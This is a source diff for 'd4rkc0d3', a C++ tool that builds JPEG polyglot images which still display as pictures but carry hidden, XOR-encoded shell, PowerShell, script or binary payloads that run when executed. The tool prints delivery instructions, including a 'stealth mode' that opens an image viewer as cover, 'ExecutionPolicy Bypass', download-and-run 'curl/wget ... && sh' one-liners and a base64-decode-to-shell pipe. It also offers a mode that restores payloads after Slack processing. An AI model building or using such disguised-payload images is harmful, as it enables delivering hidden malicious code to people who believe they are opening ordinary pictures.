+            throw std::runtime_error("Image File Error: Image too small after processing to apply tail patch.");
+        }
+
+        std::ranges::reverse_copy(tail_bytes, image_file_vec.rbegin() + TAIL_OFFSET);
+    }
+
+    // Overwrites 6 bytes at offset 0x0C in the APP0 with "XTW\n<#".
+    // The \n puts "<#" on its own line, opening a PS block comment that hides
+    // all JPEG binary data until the "#>" inside the ICC APP2 profile.
+    void writeJfifCommentBlock(vBytes& image_file_vec) {
+        constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
+            0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
+        });
+
+        if (image_file_vec.size() < JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size()) {
+            throw std::runtime_error("Image File Error: Image too small to write JFIF comment block.");
+        }
+
+        std::ranges::copy(JFIF_COMMENT_BLOCK,
+                          image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_COMMENT_BLOCK_INDEX));
+    }
+
+    [[nodiscard]] std::string writeOutputFile(std::span<const Byte> bytes, std::string_view custom_name = {}) {
+        constexpr mode_t OUTPUT_MODE = S_IRUSR | S_IWUSR | S_IXUSR;
+        constexpr int OUTPUT_FLAGS = O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW;
+        constexpr int MAX_OUTPUT_ATTEMPTS = 64;
+
+        if (bytes.empty()) {
+            throw std::runtime_error("Image File Error: Output image is empty.");
+        }
+
+        if (!custom_name.empty()) {
+            std::string output_filename(custom_name);
+            UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
+
+            if (output_fd.get() < 0) {
+                if (errno == EEXIST) {
+                    throw std::runtime_error(std::format("Write Error: File \"{}\" already exists.", output_filename));
+                }
+                throw std::runtime_error(std::format("Write Error: Unable to create \"{}\": {}", output_filename, std::system_category().message(errno)));
+            }
+
+            writeOutputBytes(output_filename, output_fd.get(), bytes);
+
+            const int raw_fd = output_fd.release();
+            if (::close(raw_fd) != 0) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
+            }
+
+            {
+                UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
+                if (sync_fd.get() >= 0) {
+                    ::fsync(sync_fd.get());
+                }
+            }
+
+            return output_filename;
+        }
+
+        std::random_device rd;
+
+        for (int attempt = 0; attempt < MAX_OUTPUT_ATTEMPTS; ++attempt) {
+            std::string output_filename = std::format("d4rc0d3_{}.jpg", randomOutputSuffix(rd));
+            UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
+
+            if (output_fd.get() < 0) {
+                if (errno == EEXIST) {
+                    continue;
+                }
+                throw std::runtime_error(std::format("Write Error: Unable to create output file: {}", std::system_category().message(errno)));
+            }
+
+            writeOutputBytes(output_filename, output_fd.get(), bytes);
+
+            const int raw_fd = output_fd.release();
+            if (::close(raw_fd) != 0) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
+            }
+
+            {
+                UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
+                if (sync_fd.get() >= 0) {
+                    ::fsync(sync_fd.get());
+                }
+            }
+
+            return output_filename;
+        }
+
+        throw std::runtime_error("Write Error: Unable to create a unique output filename after multiple attempts.");
+    }
+
+    [[nodiscard]] vBytes buildPolyglotOutputBytes(
+        std::span<const Byte> image_file_vec,
+        std::span<const Byte> profile_vec,
+        std::span<const Byte> com_segment) {
+
+        constexpr std::size_t SOI_SIZE = 2;
+
+        if (image_file_vec.size() < JFIF_SIG_LENGTH) {
+            throw std::runtime_error("Image File Error: Image too small to write output.");
+        }
+
+        vBytes output_vec;
+        output_vec.reserve(checkedAdd(
+            checkedAdd(image_file_vec.size(), profile_vec.size(), "Output image"),
+            com_segment.size(), "Output image"));
+
+        // SOI + COM + APP0(patched) + ICC + rest
+        output_vec.insert(output_vec.end(),
+            image_file_vec.begin(),
+            image_file_vec.begin() + SOI_SIZE);
+
+        if (!com_segment.empty()) {
+            output_vec.insert(output_vec.end(), com_segment.begin(), com_segment.end());
+        }
+
+        output_vec.insert(output_vec.end(),
+            image_file_vec.begin() + SOI_SIZE,
+            image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH));
+
+        output_vec.insert(output_vec.end(), profile_vec.begin(), profile_vec.end());
+
+        output_vec.insert(output_vec.end(),
+            image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH),
+            image_file_vec.end());
+
+        return output_vec;
+    }
+
+    [[nodiscard]] bool containsTailCloseSequence(std::span<const Byte> bytes) {
+        constexpr auto TAIL_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
+        constexpr std::size_t TAIL_SEARCH_WINDOW = 256;
+
+        const std::span<const Byte> tail = bytes.size() > TAIL_SEARCH_WINDOW ?
+            bytes.last(TAIL_SEARCH_WINDOW) :
+            bytes;
+
+        return !std::ranges::search(tail, std::span<const Byte>(TAIL_CLOSE_SIG)).empty();
+    }
+
+    [[nodiscard]] vBytes buildTailStableOutput(
+        std::span<const Byte> compatible_image_file_vec,
+        std::span<const Byte> profile_vec,
+        std::span<const Byte> com_segment,
+        Option option,
+        bool& reencoded_for_tail_stability) {
+
+        constexpr int MAX_TAIL_STABILITY_RETRIES = 512;
+
+        for (int attempt = 0; attempt <= MAX_TAIL_STABILITY_RETRIES; ++attempt) {
+            vBytes candidate_image_file_vec;
+            if (attempt == 0) {
+                candidate_image_file_vec.assign(compatible_image_file_vec.begin(), compatible_image_file_vec.end());
+            }
+            else if (!makeTailRetryCandidate(compatible_image_file_vec, candidate_image_file_vec, attempt - 1)) {
+                break;
+            }
+
+            patchImageTail(candidate_image_file_vec, option);
+            writeJfifCommentBlock(candidate_image_file_vec);
+
+            vBytes output_vec = buildPolyglotOutputBytes(candidate_image_file_vec, profile_vec, com_segment);
+            if (!containsTailCloseSequence(output_vec)) {
+                throw std::runtime_error("Tail Patch Error: Expected close-comment sequence was not present in output tail.");
+            }
+            const JpegWarningSummary warnings = inspectJpegWarnings(output_vec);
+            if (!warnings.hasUnsafeTailWarning()) {
+                reencoded_for_tail_stability = attempt > 0;
+                return output_vec;
+            }
+
+            if (attempt == 0 && warnings.extraneous_data > 0) {
+                std::println("\nTail validation reported extraneous bytes before EOI; re-encoding cover image for a safer tail.\n");
+            }
+        }
+
+        throw std::runtime_error(
+            "Image Compatibility Error: Unable to produce a tail-stable output image. "
+            "Try another image or adjust JPEG quality/dimensions.");
+    }
+
+    [[nodiscard]] std::string_view payloadModeLabel(PayloadMode mode) {
+        switch (mode) {
+            case PayloadMode::DirectPwsh: return "PowerShell (direct)";
+            case PayloadMode::Script:     return "script (bootstrap)";
+            case PayloadMode::Binary:     return "binary (bootstrap)";
+            case PayloadMode::Command:    return "inline commands";
+        }
+        return "unknown";
+    }
+
+    void printExecutionInstructions(
+        const std::string& output_filename,
+        PayloadMode mode,
+        const BootstrapOptions& opts) {
+
+        const std::string f = output_filename;
+        const std::string ps1 = std::filesystem::path(f).stem().string() + ".ps1";
+
+        std::println("\n── Execution ──────────────────────────────────────────────");
+        std::println("  The .jpg is NOT modified or deleted. It stays as an image.");
+        if (opts.keep_extracted) {
+            std::println("  Extracted file will PERSIST after execution.");
+        } else {
+            std::println("  Only a temporary extracted file is created, used, and removed.");
+        }
+        if (!opts.extract_dir.empty()) {
+            std::println("  Extraction directory: {}", opts.extract_dir);
+        }
+        std::println("");
+
+        std::println("  Direct execution (Linux, Mac — file is already +x):");
+        std::println("    ./{}", f);
+        std::println("    sh {}   ← use this if file was shared via Slack/Discord", f);
+
+        if (mode == PayloadMode::DirectPwsh) {
+            std::println("    (requires pwsh installed)");
+        } else {
+            std::println("    (uses POSIX sh — no extra dependencies)");
+        }
+
+        if (opts.show_image) {
+            std::println("    → Image viewer will open automatically (stealth mode)");
+        }
+
+        std::println("");
+        std::println("  PowerShell (requires .ps1 extension):");
+        std::println("    cp {} {} && pwsh {}", f, ps1, ps1);
+        std::println("");
+        std::println("  Windows (cmd.exe):");
+        std::println("    ren {} {} & pwsh {}", f, ps1, ps1);
+        std::println("    powershell -ExecutionPolicy Bypass -File {}", ps1);
+
+        if (mode == PayloadMode::Script || mode == PayloadMode::Binary) {
+            std::println("");
+            std::println("  Suppress header noise:");
+            std::println("    ./{} 2>/dev/null", f);
+        }
+
+        std::println("");
+        std::println("  One-liner download + run:");
+        std::println("    curl -o i.jpg \"<URL>\" && sh i.jpg");
+        std::println("    wget -O i.jpg \"<URL>\" && sh i.jpg");
+        std::println("");
+        std::println("  If file was shared via Slack/Discord (Slack replaces APP0):");
+        if (mode == PayloadMode::Command) {
+            std::println("    sh {}                   ← payload survives (inline command)", f);
+        } else {
+            std::println("    ⚠ Script/binary payloads are REMOVED by Slack (post-EOI stripped).");
+            std::println("    Use -c 'commands' for Slack-compatible payloads.");
+        }
+        std::println("    d4rkc0d3 --fix-slack {} fixed.jpg && bash fixed.jpg", f);
+        std::println("──────────────────────────────────────────────────────────");
+    }
+}
+
+[[nodiscard]] static int fixSlack(int argc, char** argv) {
+    if (argc < 3) {
+        std::println(stderr, "Usage: {} --fix-slack <slack-file.jpg> [output.jpg]", argv[0]);
+        std::println(stderr, "");
+        std::println(stderr, "Patches a Slack-processed d4rkc0d3 polyglot to restore bash-executability.");
+        std::println(stderr, "Slack replaces the shell-safe APP0 with a standard JFIF APP0 containing");
+        std::println(stderr, "NUL bytes that cause bash to reject the file as binary.");
+        std::println(stderr, "");
+        std::println(stderr, "After fixing, execute with: ./<output.jpg> or bash <output.jpg>");
+        std::println(stderr, "");
+        std::println(stderr, "Note: script-mode payloads (.sh, .py, etc.) are REMOVED by Slack.");
+        std::println(stderr, "Only -c (inline command) payloads survive Slack processing.");
+        return 1;
+    }
+
+    const std::string input_path  = argv[2];
+    const std::string output_path = (argc >= 4) ? argv[3] : input_path + ".fixed.jpg";
+
+    std::ifstream in(input_path, std::ios::binary);
+    if (!in) {
+        std::println(stderr, "Error: cannot open '{}'", input_path);
+        return 1;
+    }
+    vBytes data((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
+    in.close();
+
+    if (data.size() < 20) {
+        std::println(stderr, "Error: file too small to be a JPEG");
+        return 1;
+    }
+
+    if (data[0] != 0xFF || data[1] != 0xD8) {
+        std::println(stderr, "Error: not a JPEG file (missing SOI)");
+        return 1;
+    }
+
+    std::size_t app0_pos = std::string::npos;
+    for (std::size_t i = 2; i + 3 < data.size(); ) {
+        if (data[i] != 0xFF) break;
+        const Byte marker = data[i + 1];
+        if (marker == 0xE0) {
+            app0_pos = i;
+            break;
+        }
+        if (i + 3 >= data.size()) break;
+        const std::size_t seg_len = (static_cast<std::size_t>(data[i + 2]) << 8) | data[i + 3];
+        if (seg_len < 2) break;
+        i += 2 + seg_len;
+    }
+
+    if (app0_pos == std::string::npos) {
+        std::println(stderr, "Error: no APP0 segment found — may not be a Slack-processed file");
+        return 1;
+    }
+
+    const std::size_t app0_len_field = (static_cast<std::size_t>(data[app0_pos + 2]) << 8)
+                                        | data[app0_pos + 3];
+    const std::size_t app0_end = app0_pos + 2 + app0_len_field;
+
+    if (app0_end > data.size()) {
+        std::println(stderr, "Error: APP0 segment extends beyond end of file");
+        return 1;
+    }
+
+    int nul_count = 0;
+    for (std::size_t i = app0_pos; i < app0_end; ++i)
+        if (data[i] == 0x00) ++nul_count;
+
+    if (nul_count == 0) {
+        std::println("APP0 has no NUL bytes — file may already be compatible with bash.");
+        std::println("Copying as-is to: {}", output_path);
+    } else {
+        std::println("APP0 at offset {}: {} bytes, {} NUL(s) found", app0_pos, app0_len_field, nul_count);
+        std::println("APP0 at offset {}: {} bytes, {} NUL(s) — patching...",
+                     app0_pos, app0_len_field, nul_count);
+        constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
+            0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
+        });
+        if (app0_pos + JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size() <= data.size()) {
+            std::ranges::copy(JFIF_COMMENT_BLOCK,
+                              data.begin() + static_cast<std::ptrdiff_t>(
+                                  app0_pos + JFIF_COMMENT_BLOCK_INDEX - 2));
+        }
+        for (std::size_t i = app0_pos; i < app0_end; ++i) {
+            if (data[i] == 0x00) data[i] = 0x01;
+        }
+        std::println("Done.");
+    }
+
+    const auto first64_end = std::min(data.size(), std::size_t{64});
+    const int remaining_nuls = static_cast<int>(
+        std::count(data.begin(), data.begin() + static_cast<std::ptrdiff_t>(first64_end), Byte{0x00}));
+    if (remaining_nuls > 0) {
+        std::println("Warning: {} NUL(s) remain in first 64 bytes — bash may still reject file.", remaining_nuls);
+        std::println("Use 'sh <file>' or the one-liner instead:");
+        std::println("  grep -am1 '^#0:' {} | cut -c4- | base64 -d | sh -s {}", output_path, output_path);
+    } else {
+        std::println("No NUL bytes in first 64 bytes — bash-executable. ✓");
+    }
+
+    {
+        std::ofstream out(output_path, std::ios::binary);
+        if (!out) {
+            std::println(stderr, "Error: cannot write to '{}'", output_path);
+            return 1;
+        }
+        out.write(reinterpret_cast<const char*>(data.data()),
+                  static_cast<std::streamsize>(data.size()));
+    }
+    std::println("Saved: {} ({} bytes)", output_path, data.size());
+    std::println("");
+    std::println("Execute with:");
+    std::println("  chmod +x {} && ./{}", output_path, output_path);
+    std::println("  or: bash {}", output_path);
+
+    return 0;
+}
+
+int main(int argc, char** argv) {
+    if (argc >= 2 && std::string_view(argv[1]) == "--fix-slack") {
+        return fixSlack(argc, argv);
+    }
+
+    try {
+        auto args_opt = ProgramArgs::parse(argc, argv);
+        if (!args_opt) {
+            return 0;
+        }
+
+        const auto& args = *args_opt;
+
+        const BootstrapOptions boot_opts{
+            .keep_extracted = args.keep_extracted,
+            .show_image = args.show_image,
+            .sequential = args.sequential,
+            .extract_dir = args.extract_dir
+        };
+
+        vBytes image_file_vec = readFile(args.image_file_path, FileTypeCheck::cover_image);
+
+        vBytes xor_key = generateXorKey(XOR_KEY_LENGTH);
+
+        vBytes script_bytes;
+        vBytes payload_for_eoi;
+
+        if (args.payload_mode == PayloadMode::Command) {
+            script_bytes = generateBootstrap(
+                PayloadMode::Command, {}, {}, args.inline_commands, boot_opts, xor_key);
+            std::println("\nPayload mode: inline commands ({} bytes)", args.inline_commands.size());
+
+        } else if (args.payload_mode == PayloadMode::DirectPwsh) {
+            vBytes payload_vec = readFile(args.payload_file_path, FileTypeCheck::script_file);
+            rejectUnsupportedTextEncoding(payload_vec);
+            stripUtf8Bom(payload_vec);
+            script_bytes = generateBootstrap(
+                PayloadMode::DirectPwsh, payload_vec, args.payload_file_path, "", boot_opts, xor_key);
+            std::println("\nPayload mode: {} ({} bytes)",
+                payloadModeLabel(args.payload_mode), payload_vec.size());
+
+        } else {
+            vBytes payload_vec = readFile(
+                args.payload_file_path, FileTypeCheck::payload_file);
+
+            if (args.payload_mode == PayloadMode::Script) {
+                rejectUnsupportedTextEncoding(payload_vec);
+                stripUtf8Bom(payload_vec);
+            }
+
+            payload_for_eoi = std::move(payload_vec);
+
+            script_bytes = generateBootstrap(
+                args.payload_mode, payload_for_eoi, args.payload_file_path,
+                args.inline_commands, boot_opts, xor_key);
+            std::println("\nPayload mode: {} ({} bytes)",
+                payloadModeLabel(args.payload_mode), payload_for_eoi.size());
+            if (!args.inline_commands.empty()) {
+                std::println("Inline commands prepended: {}", args.inline_commands);
+            }
+        }
+
+        std::println("XOR encoding: active ({}-byte key)", XOR_KEY_LENGTH);
+
+        vBytes profile_vec = buildProfilePayload(script_bytes, MAX_PROFILE_SEGMENT, xor_key);
+
+        std::string shell_post_eoi;
+        vBytes com_segment = buildShellComSegment(args.payload_mode, args.payload_file_path, args.inline_commands, boot_opts, xor_key, &shell_post_eoi);
+
+        vBytes post_eoi_data = generatePostEoiPayload(payload_for_eoi, xor_key, shell_post_eoi);
+
+        const bool image_was_modified = ensureImageCompatible(image_file_vec);
+
+        if (image_was_modified) {
+            std::println("");
+        }
+
+        bool reencoded_for_tail_stability = false;
+        vBytes output_file_vec = buildTailStableOutput(image_file_vec, profile_vec, com_segment, args.option, reencoded_for_tail_stability);
+
+        if (!post_eoi_data.empty()) {
+            output_file_vec.insert(output_file_vec.end(), post_eoi_data.begin(), post_eoi_data.end());
+        }
+
+        const std::size_t total_output_size = output_file_vec.size();
+        const std::string output_filename = writeOutputFile(output_file_vec, args.output_filename);
+
+        std::println("\nSaved JPG polyglot image: {} ({} bytes).", output_filename, total_output_size);
+
+        if (reencoded_for_tail_stability) {
+            std::println("\nTail validation avoided an output with extraneous bytes before EOI.");
+        }
+
+        if (image_was_modified) {
+            std::println("\nComment-block close sequences successfully removed from image.");
+            std::println("\nPlease check to make sure size & quality of cover image is acceptable.");
+        }
+
+        printExecutionInstructions(output_filename, args.payload_mode, boot_opts);
+
+        std::println("\nComplete!\n");
+        return 0;
+    }
+    catch (const std::runtime_error& e) {
+        std::println(std::cerr, "\n{}\n", e.what());
+        return 1;
+    }
+    catch (const std::exception& e) {
+        std::println(std::cerr, "\nUnexpected error: {}\n", e.what());
+        return 1;
+    }
+}
diff --git a/src/file_utils.cpp b/src/file_utils.cpp
new file mode 100644
index 0000000..0aeab77
--- /dev/null
+++ b/src/file_utils.cpp
@@ -0,0 +1,299 @@
+#include "file_utils.h"
+
+// stb_image: single-header PNG/JPEG/BMP loader used for PNG→JPEG conversion.
+// STB_IMAGE_IMPLEMENTATION must be defined in exactly one .cpp file.
+#define STB_IMAGE_IMPLEMENTATION
+#define STBI_ONLY_PNG
+#define STBI_ONLY_JPEG
+#define STBI_NO_FAILURE_STRINGS
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wconversion"
+#pragma GCC diagnostic ignored "-Wsign-conversion"
+#pragma GCC diagnostic ignored "-Wpedantic"
+#pragma GCC diagnostic ignored "-Wunused-function"
+#include "stb_image/include/stb_image.h"
+#pragma GCC diagnostic pop
+
+#include <turbojpeg.h>
+#include <algorithm>
+#include <cerrno>
+#include <cctype>
+#include <format>
+#include <fcntl.h>
+#include <initializer_list>
+#include <limits>
+#include <span>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+#include <sys/stat.h>
+#include <system_error>
+
+namespace fs = std::filesystem;
+
+namespace {
+    constexpr std::size_t MIN_COVER_IMAGE_FILE_SIZE = 134;
+    constexpr std::size_t MAX_COVER_IMAGE_FILE_SIZE = 5 * 1024 * 1024;
+    constexpr std::size_t MIN_SCRIPT_FILE_SIZE = 10;
+    constexpr std::size_t MIN_PAYLOAD_FILE_SIZE = 1;
+
+    [[noreturn]] void throwPathError(std::string_view action, const fs::path& path, int error_code) {
+        throw std::runtime_error(std::format("{}: {} ({})", action, path.string(), std::system_category().message(error_code)));
+    }
+
+    struct OpenFileResult {
+        UniqueFd fd;
+        struct stat status{};
+    };
+
+    [[nodiscard]] bool hasValidFilename(const fs::path& p) {
+        const std::string filename = p.filename().string();
+        if (filename.empty()) {
+            return false;
+        }
+        return std::ranges::all_of(filename, [](unsigned char c) {
+            return std::isalnum(c) || c == '.' || c == '-' || c == '_' || c == '@' || c == '%';
+        });
+    }
+
+    [[nodiscard]] bool hasFileExtension(const fs::path& p, std::initializer_list<std::string_view> exts) {
+        const std::string ext = p.extension().string();
+        const auto ieq = [](char a, char b) {
+            return std::tolower(static_cast<unsigned char>(a)) == std::tolower(static_cast<unsigned char>(b));
+        };
+        return std::ranges::any_of(exts, [&](std::string_view expected) {
+            return ext.size() == expected.size() &&
+                   std::ranges::equal(ext, expected, ieq);
+        });
+    }
+
+    void validateCoverImageFile(const fs::path& path, std::size_t file_size) {
+        if (!hasFileExtension(path, {".jpg", ".jpeg", ".jfif", ".png"})) {
+            throw std::runtime_error("File Type Error: Invalid image extension. Expecting \".jpg\", \".jpeg\", \".jfif\", or \".png\".");
+        }
+        if (file_size < MIN_COVER_IMAGE_FILE_SIZE) {
+            throw std::runtime_error("File Error: Invalid image file size.");
+        }
+        if (file_size > MAX_COVER_IMAGE_FILE_SIZE) {
+            throw std::runtime_error("Image File Error: Cover image file exceeds maximum size limit.");
+        }
+    }
+
+    void validateScriptFile(const fs::path& path, std::size_t file_size) {
+        if (!hasFileExtension(path, {".ps1"})) {
+            throw std::runtime_error("File Type Error: Invalid script extension. Only expecting \".ps1\".");
+        }
+        if (file_size < MIN_SCRIPT_FILE_SIZE) {
+            throw std::runtime_error("Script File Error: PowerShell script is below minimum size.");
+        }
+    }
+
+    void validatePayloadFile(const fs::path& path, std::size_t file_size) {
+        if (!path.has_extension()) {
+            throw std::runtime_error("File Type Error: Payload file must have an extension.");
+        }
+        if (file_size < MIN_PAYLOAD_FILE_SIZE) {
+            throw std::runtime_error("Payload File Error: Payload file is empty.");
+        }
+    }
+
+    [[nodiscard]] OpenFileResult openRegularFileNoFollow(const fs::path& path) {
+        constexpr int OPEN_FLAGS = O_RDONLY | O_CLOEXEC | O_NOFOLLOW;
+
+        OpenFileResult result{ .fd = UniqueFd(::open(path.c_str(), OPEN_FLAGS)) };
+
+        if (result.fd.get() < 0) {
+            const int error_code = errno;
+
+            if (error_code == ENOENT) {
+                throw std::runtime_error(std::format("Error: File \"{}\" not found.", path.string()));
+            }
+            if (error_code == ELOOP) {
+                throw std::runtime_error("Error: Symbolic links are not permitted.");
+            }
+
+            throwPathError("Failed to open file", path, error_code);
+        }
+
+        if (::fstat(result.fd.get(), &result.status) != 0) {
+            throwPathError("Failed to stat file", path, errno);
+        }
+
+        if (!S_ISREG(result.status.st_mode)) {
+            throw std::runtime_error(std::format("Error: \"{}\" is not a regular file.", path.string()));
+        }
+
+        return result;
+    }
+
+    [[nodiscard]] std::size_t fileSizeFromStat(const fs::path& path, const struct stat& status) {
+        if (status.st_size <= 0) {
+            throw std::runtime_error("Error: File is empty.");
+        }
+
+        const auto raw_size = static_cast<std::uintmax_t>(status.st_size);
+        if (raw_size > static_cast<std::uintmax_t>(std::numeric_limits<std::size_t>::max())) {
+            throw std::runtime_error(std::format("Error: File \"{}\" is too large to process on this platform.", path.string()));
+        }
+
+        return static_cast<std::size_t>(raw_size);
+    }
+
+    void validateFileType(const fs::path& path, std::size_t file_size, FileTypeCheck file_type) {
+        switch (file_type) {
+            case FileTypeCheck::cover_image:
+                validateCoverImageFile(path, file_size);
+                return;
+
+            case FileTypeCheck::script_file:
+                validateScriptFile(path, file_size);
+                return;
+
+            case FileTypeCheck::payload_file:
+                validatePayloadFile(path, file_size);
+                return;
+        }
+        throw std::runtime_error("Internal Error: Unknown file type check.");
+    }
+
+    void readExact(const fs::path& path, int fd, std::span<Byte> buffer) {
+        while (!buffer.empty()) {
+            const auto chunk_size = std::min<std::size_t>(buffer.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
+            const auto bytes_read = ::read(fd, buffer.data(), chunk_size);
+
+            if (bytes_read > 0) {
+                buffer = buffer.subspan(static_cast<std::size_t>(bytes_read));
+                continue;
+            }
+            if (bytes_read == 0) {
+                throw std::runtime_error("Failed to read full file: unexpected EOF.");
+            }
+            if (errno != EINTR) {
+                throwPathError("Failed to read file", path, errno);
+            }
+        }
+    }
+
+    [[nodiscard]] bool sameTimestamp(const timespec& lhs, const timespec& rhs) {
+        return lhs.tv_sec == rhs.tv_sec && lhs.tv_nsec == rhs.tv_nsec;
+    }
+
+#ifdef __APPLE__
+#define JPWS_ST_MTIM st_mtimespec
+#define JPWS_ST_CTIM st_ctimespec
+#else
+#define JPWS_ST_MTIM st_mtim
+#define JPWS_ST_CTIM st_ctim
+#endif
+
+    void verifyFileUnchanged(const fs::path& path, int fd, const struct stat& expected_status, std::size_t expected_size) {
+        struct stat current_status{};
+
+        if (::fstat(fd, &current_status) != 0) {
+            throwPathError("Failed to stat file after read", path, errno);
+        }
+
+        if (!S_ISREG(current_status.st_mode)) {
+            throw std::runtime_error(std::format("Error: \"{}\" is no longer a regular file.", path.string()));
+        }
+
+        if (current_status.st_dev != expected_status.st_dev ||
+            current_status.st_ino != expected_status.st_ino ||
+            current_status.st_mode != expected_status.st_mode ||
+            current_status.st_size < 0 ||
+            static_cast<std::uintmax_t>(current_status.st_size) != static_cast<std::uintmax_t>(expected_size) ||
+            !sameTimestamp(current_status.JPWS_ST_MTIM, expected_status.JPWS_ST_MTIM) ||
+            !sameTimestamp(current_status.JPWS_ST_CTIM, expected_status.JPWS_ST_CTIM)) {
+            throw std::runtime_error(std::format("Error: File \"{}\" changed while it was being read.", path.string()));
+        }
+    }
+
+    void validateJpegOrPngMarker(std::span<const Byte> bytes);  // forward decl
+}
+
+[[nodiscard]] static bool isPng(std::span<const Byte> bytes) {
+    constexpr std::array<Byte, 4> PNG_SIG = {
+        static_cast<Byte>(0x89), static_cast<Byte>(0x50),
+        static_cast<Byte>(0x4E), static_cast<Byte>(0x47)
+    };
+    return bytes.size() >= 4 &&
+           std::ranges::equal(bytes.first(4), std::span<const Byte>(PNG_SIG));
+}
+
+namespace {
+    void validateJpegOrPngMarker(std::span<const Byte> bytes) {
+        if (bytes.size() < 2) {
+            throw std::runtime_error("File Type Error: File too small.");
+        }
+        const bool is_jpeg = bytes[0] == 0xFF && bytes[1] == 0xD8;
+        const bool is_png_val  = isPng(bytes);
+        if (!is_jpeg && !is_png_val) {
+            throw std::runtime_error(
+                "File Type Error: Not a valid JPEG or PNG (missing SOI/PNG signature).");
+        }
+    }
+}
+
+// Converts a PNG (or any stb_image-supported format) to JPEG in memory.
+// Uses stb_image to decode, then libjpeg-turbo to re-encode as progressive JPEG.
+[[nodiscard]] vBytes convertPngToJpeg(std::span<const Byte> img_data) {
+    int w = 0, h = 0, channels = 0;
+    unsigned char* pixels = stbi_load_from_memory(
+        reinterpret_cast<const stbi_uc*>(img_data.data()),
+        static_cast<int>(img_data.size()),
+        &w, &h, &channels,
+        3  // force RGB output
+    );
+    if (!pixels) {
+        throw std::runtime_error("Image Error: Failed to decode PNG (stb_image error).");
+    }
+
+    unsigned char* jpeg_buf = nullptr;
+    unsigned long  jpeg_size = 0;
+    tjhandle tj = tjInitCompress();
+    if (!tj) {
+        stbi_image_free(pixels);
+        throw std::runtime_error("Image Error: tjInitCompress failed during PNG conversion.");
+    }
+
+    constexpr int QUALITY = 92;
+    if (tjCompress2(tj, pixels, w, 0, h, TJPF_RGB,
+                    &jpeg_buf, &jpeg_size,
+                    TJSAMP_444, QUALITY, TJFLAG_PROGRESSIVE) != 0) {
+        const std::string err = tjGetErrorStr2(tj);
+        stbi_image_free(pixels);
+        tjDestroy(tj);
+        throw std::runtime_error(std::format("Image Error: PNG→JPEG encoding failed: {}", err));
+    }
+
+    vBytes result(jpeg_buf, jpeg_buf + jpeg_size);
+    tjFree(jpeg_buf);
+    tjDestroy(tj);
+    stbi_image_free(pixels);
+    return result;
+}
+
+vBytes readFile(const fs::path& path, FileTypeCheck file_type) {
+    if (!hasValidFilename(path)) {
+        throw std::runtime_error("Invalid Input Error: Unsupported characters in filename arguments.");
+    }
+
+    auto open_file = openRegularFileNoFollow(path);
+    const std::size_t file_size = fileSizeFromStat(path, open_file.status);
+    validateFileType(path, file_size, file_type);
+
+    vBytes vec(file_size);
+    readExact(path, open_file.fd.get(), vec);
+    verifyFileUnchanged(path, open_file.fd.get(), open_file.status, file_size);
+
+    if (file_type == FileTypeCheck::cover_image) {
+        validateJpegOrPngMarker(vec);
+        // If the cover is PNG, convert it to JPEG transparently.
+        // The engine only processes JPEG, so PNG must be converted first.
+        if (isPng(vec)) {
+            vec = convertPngToJpeg(vec);
+        }
+    }
+
+    return vec;
+}
diff --git a/src/file_utils.h b/src/file_utils.h
new file mode 100644
index 0000000..ed7587c
--- /dev/null
+++ b/src/file_utils.h
@@ -0,0 +1,16 @@
+#pragma once
+
+#include "common.h"
+
+#include <cstddef>
+#include <filesystem>
+
+enum class FileTypeCheck : std::uint8_t {
+    cover_image  = 1,
+    script_file  = 2,
+    payload_file = 3
+};
+
+[[nodiscard]] vBytes readFile(
+    const std::filesystem::path& path,
+    FileTypeCheck file_type = FileTypeCheck::script_file);
diff --git a/src/jpeg_process.cpp b/src/jpeg_process.cpp
new file mode 100644
index 0000000..8005378
--- /dev/null
+++ b/src/jpeg_process.cpp
@@ -0,0 +1,784 @@
+#define STB_IMAGE_RESIZE_IMPLEMENTATION
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wconversion"
+#pragma GCC diagnostic ignored "-Wsign-conversion"
+#include "stb_image/include/stb_image_resize2.h"
+#pragma GCC diagnostic pop
+
+#include "jpeg_process.h"
+
+#include <turbojpeg.h>
+
+#include <algorithm>
+#include <array>
+#include <cstdint>
+#include <cstdio>
+#include <cstring>
+#include <format>
+#include <iostream>
+#include <limits>
+#include <optional>
+#include <print>
+#include <span>
+#include <stdexcept>
+#include <string_view>
+#include <utility>
+
+namespace {
+    constexpr int MIN_COVER_IMAGE_DIMENSION = 400;
+    constexpr int MAX_COVER_IMAGE_DIMENSION = 8'192;
+    constexpr std::size_t MAX_COVER_IMAGE_PIXELS = 25'000'000;
+    constexpr std::size_t JFIF_COMPATIBILITY_MARKER_INDEX = 0x0D;
+    constexpr int START_QUALITY = 97;
+    constexpr int MIN_SAME_DIMENSION_QUALITY = 75;
+    constexpr int MIN_JPEG_QUALITY = 1;
+    constexpr int MAX_JPEG_QUALITY = 100;
+    constexpr int MAX_RESIZE_ATTEMPTS = 300;
+    constexpr int PROGRESSIVE_JPEG_FLAGS = TJFLAG_PROGRESSIVE;
+    constexpr int DECODE_PIXEL_FORMAT = TJPF_RGB;
+    constexpr int DECODE_BYTES_PER_PIXEL = 3;
+    constexpr stbir_pixel_layout RESIZE_PIXEL_LAYOUT = STBIR_RGB;
